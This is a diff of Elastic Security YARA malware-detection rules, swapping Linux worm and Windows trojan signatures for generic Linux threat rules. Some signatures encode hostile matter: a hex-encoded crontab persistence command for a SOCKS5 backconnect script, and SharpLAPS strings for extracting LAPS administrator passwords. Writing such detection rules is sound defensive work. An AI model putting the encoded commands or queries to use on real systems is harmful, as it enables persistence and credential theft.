-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6059a6dd039b5efa36ce97acbb01406128aaf6062429474e422624ee69783ca8"
-		logic_hash = "7b15fef304b91601a76c6fcf48a892105d6eedf5a3e2395ab7c2937a84709d9f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L490-L508"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "701c7c75ed6a7aaf59f5a1f04192a1f7d49d73c1bd36453aed703ad5560606dc"
+		logic_hash = "eefe9391a9ce716dbe16f11b8ccea89d032fdad42fcabd84ffe584409c550847"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d24064932ef3a972970ce446d465c28379bf83b1b72f5bf77d1def3074747a8e"
-		severity = 100
+		fingerprint = "55cbfbd761e2000492059909199d16faf6839d3d893e29987b73087942c9de78"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { C0 50 89 E2 53 89 E1 B0 0B CD 80 31 C0 B0 01 CD }
+		$a1 = { 55 89 E5 57 56 53 83 E4 F0 83 EC 40 8B 45 0C E8 DC 04 00 00 81 C3 AC F7 0B 00 89 44 24 04 8B 45 08 89 04 24 E8 A7 67 00 00 85 C0 0F 88 40 04 00 00 C7 04 24 00 00 00 00 E8 03 F5 FF FF 8B 93 34 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Worm_Generic_920D273F : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_9Cf10F10 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "920d273f-5b2b-4eec-a2b3-8d411f2ea181"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9cf10f10-9a5b-46b5-ae25-7239b8f1434a"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Worm_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "04a65bc73fab91f654d448b2d7f8f15ac782965dcdeec586e20b5c7a8cc42d73"
-		logic_hash = "d0ed260857ae3002483ea7ef242b82514caaa95c2700b39dd0a03d39fdde090d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L510-L528"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d07c9be37dc37f43a54c8249fe887dbc4058708f238ff3d95ed21f874cbb84e8"
+		logic_hash = "ca4ae64b73fb7013008e8049d17479032d904a3faf5ad0f2ad079971a231a3b8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3d4dd13b715249710bc2a02b1628fb68bcccebab876ff6674cad713e93ac53d2"
-		severity = 100
+		fingerprint = "88b3122e747e685187a7b7268e22d12fbd16a24c7c2edb6f7e09c86327fc2f0e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { E9 E5 49 86 49 A4 1A 70 C7 A4 AD 2E E9 D9 09 F5 AD CB ED FC 3B }
+		$a1 = { 14 8B 44 24 18 8B 08 89 0C 24 89 44 24 04 C6 44 24 08 00 E8 84 1E 00 00 8B 44 24 0C 89 44 24 10 8B 4C 24 18 8B 09 89 04 24 8B 54 24 1C 89 54 24 04 89 4C 24 08 E8 52 C7 05 00 8B 44 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Worm_Generic_98Efcd38 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_75813Ab2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "98efcd38-d579-46f7-a8f8-360f799a5078"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "75813ab2-47f5-40ad-b512-9aa081abdc03"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Worm_Generic.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "87507f5cd73fffdb264d76db9b75f30fe21cc113bcf82c524c5386b5a380d4bb"
-		logic_hash = "c1a130d2ef8d09cb28adc4e347cbd1a083c78241752ecf3f935b03d774d00a81"
-		score = 60
-		quality = 25
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L530-L549"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5819eb73254fd2a698eb71bd738cf3df7beb65e8fb5e866151e8135865e3fd9a"
+		logic_hash = "06e5daed278273137e416ef3ee6ac8496b144a9c3ce213ec92881ba61d7db6cb"
+		score = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "d6cec73bb6093dbc6d26566c174d0d0f6448f431429edef0528c9ec1c83177fa"
-		severity = 100
+		fingerprint = "e5b985f588cf6d1580b8e5dc85350fd0e1ca22ca810b1eca8d2bed774237c930"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 24 14 75 E1 8B 5A 24 01 EB 66 8B 0C 4B 8B 5A 1C 01 EB 8B 04 8B }
+		$a1 = { 5B 2B 5D 20 6D 6D 61 70 3A 20 30 78 25 6C 78 20 2E 2E 20 30 78 25 6C 78 }
+		$a2 = { 5B 2B 5D 20 70 61 67 65 3A 20 30 78 25 6C 78 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Worm_Generic_Bd64472E : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_11041685 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "bd64472e-92a2-4d64-8008-b82d7ca33b1d"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "11041685-8c0d-4de0-ba43-b8f676882857"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Worm_Generic.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b3334a3b61b1a3fc14763dc3d590100ed5e85a97493c89b499b02b76f7a0a7d0"
-		logic_hash = "9a7267a0ebc1073d0b1f81a61b963642cc816b563b43ff4d9508dd8bc195a0e1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L551-L570"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "296440107afb1c8c03e5efaf862f2e8cc6b5d2cf979f2c73ccac859d4b78865a"
+		logic_hash = "19f4109e73981424527ece8c375274f97fd3042427b7875071451a8081a9aae7"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "1978baa7ff5457e06433fd45db098aefd39ea53d3f29e541eef54890a25a9dce"
-		severity = 100
+		fingerprint = "d446fd63eb9a036a722d76183866114ab0c11c245d1f47f8949b0241d5a79e40"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 89 C0 89 45 EC 83 7D EC FF 75 38 68 54 90 04 08 }
+		$a1 = { 72 65 73 6F 6C 76 65 64 20 73 79 6D 62 6F 6C 20 25 73 20 74 6F 20 25 70 }
+		$a2 = { 73 79 6D 62 6F 6C 20 74 61 62 6C 65 20 6E 6F 74 20 61 76 61 69 6C 61 62 6C 65 2C 20 61 62 6F 72 74 69 6E 67 21 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Worm_Generic_3Ff8F75B : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_0D22F19C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "3ff8f75b-619e-4090-8ea4-aedc8bdf61a4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "0d22f19c-5724-480b-95de-ef2609896c52"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Worm_Generic.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "991175a96b719982f3a846df4a66161a02225c21b12a879e233e19124e90bd35"
-		logic_hash = "798e98f286201f1cda18bf1bf433826cf8a949b584f016b24a684425069d1024"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L572-L591"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "da5a204af600e73184455d44aa6e01d82be8b480aa787b28a1df88bb281eb4db"
+		logic_hash = "ee43796b0717717cb012385d5bb3aece433c11780f1a293d280c39411f9fed98"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "011f0cd72ebb428775305c84eac69c5ff4800de6e1d8b4d2110d5445b1aae10f"
-		severity = 100
+		fingerprint = "c1899febb7bf6717bc330577a4baae4b4e81d69c4b3660944a6d8f708652d230"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 3A DF FE 00 66 0F 73 FB 04 66 0F 6F D3 66 0F EF D9 66 0F 6F EE 66 0F 70 }
+		$a1 = { 55 49 44 20 25 64 2C 20 45 55 49 44 3A 25 64 20 47 49 44 3A 25 64 2C 20 45 47 49 44 3A 25 64 }
+		$a2 = { 50 54 52 41 43 45 5F 50 4F 4B 45 55 53 45 52 20 66 61 75 6C 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Wineloader_13E8860A : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_4A46B0E1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Wineloader (Windows.Trojan.WineLoader)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "13e8860a-9d83-4ae6-b07e-20bb4037010c"
-		date = "2024-03-24"
-		modified = "2024-05-08"
+		id = "4a46b0e1-b0d4-423c-9600-f594d3a48a33"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_WineLoader.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f5cb3234eff0dbbd653d5cdce1d4b1026fa9574ebeaf16aaae3d4e921b6a7f9d"
-		logic_hash = "c072abb73377ed59c0dd9fab25a4c84575ab9badbddfda1ed51e576e4e12fa82"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L593-L612"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ba47ba830ab8deebd9bb906ea45c7df1f7a281277b44d43c588c55c11eba34a"
+		logic_hash = "e3f6804f502fad8c893fb4c3c27506b6ef17d7e0d0a01399c6d185bad92e895a"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "d21c6d97360deea724b94b8f65116f00c11625c5deb1bac0790a23ede6eaaac6"
-		severity = 100
+		fingerprint = "2ae70fc399a228284a3827137db2a5b65180811caa809288df44e5b484eb1966"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 48 8B 1E 48 89 F1 E8 ?? ?? 00 00 48 8B 56 08 48 89 F9 49 89 D8 E8 ?? ?? FF FF 48 89 F1 E8 ?? 5C 00 00 90 48 81 C4 ?? 00 00 00 5B 5D 5F 5E 41 5C 41 5E 41 5F C3 C3 41 57 41 56 41 55 41 54 56 57 }
-		$a2 = { 85 C0 0F 84 ?? 03 00 00 4C 8D A4 24 BC 00 00 00 41 C7 04 24 04 00 00 00 B8 0F 00 00 00 48 8D 7C 24 70 48 89 47 F8 48 B8 }
-		$a3 = { 48 85 DB 0F 84 B3 00 00 00 83 BC 24 80 01 00 00 00 0F 84 5A 01 00 00 4C 8D 74 24 50 49 C7 46 F8 0D 00 00 00 48 B8 }
+		$a1 = { 20 28 76 69 61 20 53 79 73 74 65 6D 2E 6D 61 70 29 }
+		$a2 = { 20 5B 2B 5D 20 52 65 73 6F 6C 76 65 64 20 25 73 20 74 6F 20 25 70 25 73 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_BSMI_65223B8D : FILE
+rule ELASTIC_Linux_Generic_Threat_0A02156C : FILE MEMORY
 {
 	meta:
-		description = "Name: BSMI.sys, Version: 1.0.0.3"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "65223b8d-451a-4ae6-90cc-17d1482cc834"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "0a02156c-2958-44c5-9dbd-a70d528e507d"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_BSMI.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347"
-		logic_hash = "c4fa65bbd9d374092137b65209f29744caeb8b04fbd364b1acc67b73c45604e8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L614-L633"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f23d4b1fd10e3cdd5499a12f426e72cdf0a098617e6b178401441f249836371e"
+		logic_hash = "3ceea812f0252ec703a92482ce7a3ef0aa65bad149df2aa0107e07a45490b8f1"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "9ad213d919719d0fb0a99dcb9863720adec173e9801663e1cf5b99881435914a"
-		threat_name = "Windows.VulnDriver.BSMI"
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "aa7a34e72e03b70f2f73ae319e2cc9866fbf2eddd4e6a8a2835f9b7c400831cd"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 4D 00 49 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a1 = { 72 65 71 75 69 72 65 73 5F 6E 75 6C 6C 5F 70 61 67 65 }
+		$a2 = { 67 65 74 5F 65 78 70 6C 6F 69 74 5F 73 74 61 74 65 5F 70 74 72 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Grandoreiro_51236Ba2 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_6D7Ec30A : FILE MEMORY
 {
 	meta:
-		description = "Grandoreiro rule, target loader and payload"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "51236ba2-fdbc-4c46-b57b-27fc1e135486"
-		date = "2022-08-23"
-		modified = "2023-06-13"
+		id = "6d7ec30a-5c9f-4d82-8191-b26eb2f40799"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Grandoreiro.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1bdf381e7080d9bed3f52f4b3db1991a80d3e58120a5790c3d1609617d1f439e"
-		logic_hash = "9a8549a1dd82f56458ea8aee5c30243ac073d15c820de28d78a58d2c067b10d6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L635-L654"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1cad1ddad84cdd8788478c529ed4a5f25911fb98d0a6241dcf5f32b0cdfc3eb0"
+		logic_hash = "33c705b89a82989c25fc67f50b06aa3a613cae567ec652d86ae64bad4b253c28"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "c3082cc865fc177d8cbabcfcf9fb67317af5f2d28e8eeb95eb04108a558d80d4"
-		threat_name = "Windows.Trojan.Grandoreiro"
-		severity = 100
+		fingerprint = "7d547a73a44eab080dde9cd3ff87d75cf39d2ae71d84a3daaa6e6828e057f134"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$antivm0 = { B8 68 58 4D 56 BB 12 F7 6C 3C B9 0A 00 00 00 66 BA 58 56 ED B8 01 00 00 00 }
-		$antivm1 = { B9 [4] 89 E5 53 51 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 BB 00 00 00 00 B8 01 00 00 00 0F 3F 07 0B }
-		$xor0 = { 0F B7 44 70 ?? 33 D8 8D 45 ?? 50 89 5D ?? }
-		$xor1 = { 8B 45 ?? 0F B7 44 70 ?? 33 C3 89 45 ?? }
+		$a1 = { 2F 74 6D 70 2F 73 6F 63 6B 73 35 2E 73 68 }
+		$a2 = { 63 61 74 20 3C 28 65 63 68 6F 20 27 40 72 65 62 6F 6F 74 20 65 63 68 6F 20 73 6F 63 6B 73 35 5F 62 61 63 6B 63 6F 6E 6E 65 63 74 36 36 36 20 3E 20 2F 64 65 76 2F 6E 75 6C 6C 20 7C 20 28 63 64 20 20 26 26 20 29 27 29 20 3C 28 73 65 64 20 27 2F 73 6F 63 6B 73 35 5F 62 61 63 6B 63 6F 6E 6E 65 63 74 36 36 36 2F 64 27 20 3C 28 63 72 6F 6E 74 61 62 20 2D 6C 20 32 3E 2F 64 65 76 2F 6E 75 6C 6C 29 29 20 7C 20 63 72 6F 6E 74 61 62 20 2D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Pnscan_20E34E35 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_900Ffdd4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Pnscan (Linux.Trojan.Pnscan)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "20e34e35-8639-4a0d-bfe3-6bfa1570f14d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "900ffdd4-085e-4d6b-af7b-2972157dcefd"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Pnscan.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7dbd5b709f16296ba7dac66dc35b9c3373cf88452396d79d0c92d7502c1b0005"
-		logic_hash = "1e69ef50d25ffd0f38ed0eb81ab3295822aa183c5e06f307caf02826b1dfa011"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L656-L674"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a3e1a1f22f6d32931d3f72c35a5ee50092b5492b3874e9e6309d015d82bddc5d"
+		logic_hash = "eb69bfc146b32e790fffdf4588b583335d2006182070b53fec43bb6e4971d779"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "07678bd23ae697d42e2c7337675f7a50034b10ec7a749a8802820904a943641a"
-		severity = 100
+		fingerprint = "f03d39e53b06dd896bfaff7c94beaa113df1831dc397ef0ea8bea63156316a1b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 4C 00 54 45 4C 20 3A 20 00 3C 49 41 43 3E 00 3C 44 4F 4E 54 3E 00 }
+		$a1 = { 20 48 89 7D E8 89 75 E4 48 83 7D E8 00 74 5C C7 45 FC 00 00 00 00 EB 3D 8B 45 FC 48 98 48 C1 E0 04 48 89 C2 48 8B 45 E8 48 01 D0 48 8B 00 48 85 C0 74 1E 8B 45 FC 48 98 48 C1 E0 04 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharplaps_381C3F40 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Cb825102 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharplaps (Windows.Hacktool.SharpLAPS)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "381c3f40-b6c6-4e50-be28-3d34ba07b644"
-		date = "2022-12-22"
-		modified = "2022-12-22"
+		id = "cb825102-0b03-4885-9f73-44dd0cf2d45c"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpLAPS.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ef0d508b3051fe6f99ba55202a17237f29fdbc0085e3f5c99b1aef52c8ebe425"
-		logic_hash = "d94f9e4200a63283346919c121873130ad90e4ad5979c017cb71dc0cc910a64a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L676-L694"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4e24b72b24026e3dfbd65ddab9194bd03d09446f9ff0b3bcec76efbb5c096584"
+		logic_hash = "ac48f32ec82aac6df0697729d14aaee65fba82d91173332cd13c6ccccd63b1be"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "556b9ba9c0a2f08ff0b27e38e273f5817011de335436feb2a30cac74285d7e4f"
-		severity = 100
+		fingerprint = "e23ac81c245de350514c54f91e8171c8c4274d76c1679500d6d2b105f473bdfc"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "1e0986b4-4bf3-4cea-a885-347b6d232d46" ascii wide nocase
-		$str_name = "SharpLAPS.exe" ascii wide
-		$str0 = "Using the current session" ascii wide
-		$str1 = "Extracting LAPS password" ascii wide
-		$str2 = "(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=" ascii wide
-		$str4 = "Machine" ascii wide
-		$str5 = "sAMAccountName" ascii wide
-		$str6 = "ms-Mcs-AdmPwd" ascii wide
+		$a1 = { 5B 2B 5D 20 72 65 73 6F 6C 76 69 6E 67 20 72 65 71 75 69 72 65 64 20 73 79 6D 62 6F 6C 73 2E 2E 2E }
 
 	condition:
-		$guid or 6 of ($str*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Raccoon_Af6Decc6 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_3Bcc1630 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Raccoon (Windows.Trojan.Raccoon)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "af6decc6-f917-4a80-b96d-1e69b8f8ebe0"
-		date = "2021-06-28"
-		modified = "2021-08-23"
+		id = "3bcc1630-cfa4-4f2e-b129-f0150595dbc3"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Raccoon.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fe09bef10b21f085e9ca411e24e0602392ab5044b7268eaa95fb88790f1a124d"
-		logic_hash = "50ec446e8fd51129c7333c943dfe62db099fe1379530441f6b102fcbe3bc0dbd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L696-L716"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "62a6866e924af2e2f5c8c1f5009ce64000acf700bb5351a47c7cfce6a4b2ffeb"
+		logic_hash = "6f602aac6db46ac3f5b7716a1dac53b5dbd2c583505644bfc617d69be0a2d4de"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "f9314a583040e4238aab7712ac16d7638a3b7c9194cbcf2ea9b4516c228c546b"
-		severity = 100
+		fingerprint = "0e4fe564c5c3c04e4b40af2bebb091589fb52292bd16a78b733c67968fa166e7"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "A:\\_Work\\rc-build-v1-exe\\json.hpp" wide fullword
-		$a2 = "\\stealler\\json.hpp" wide fullword
+		$a1 = { 2F 72 6F 6F 74 2F 64 76 72 5F 67 75 69 2F }
+		$a2 = { 2F 72 6F 6F 74 2F 64 76 72 5F 61 70 70 2F }
+		$a3 = { 73 74 6D 5F 68 69 33 35 31 31 5F 64 76 72 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Raccoon_58091F64 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_5D5Fd28E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Raccoon (Windows.Trojan.Raccoon)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "58091f64-2118-47f8-bcb2-407a3c62fa33"
-		date = "2021-06-28"
-		modified = "2021-08-23"
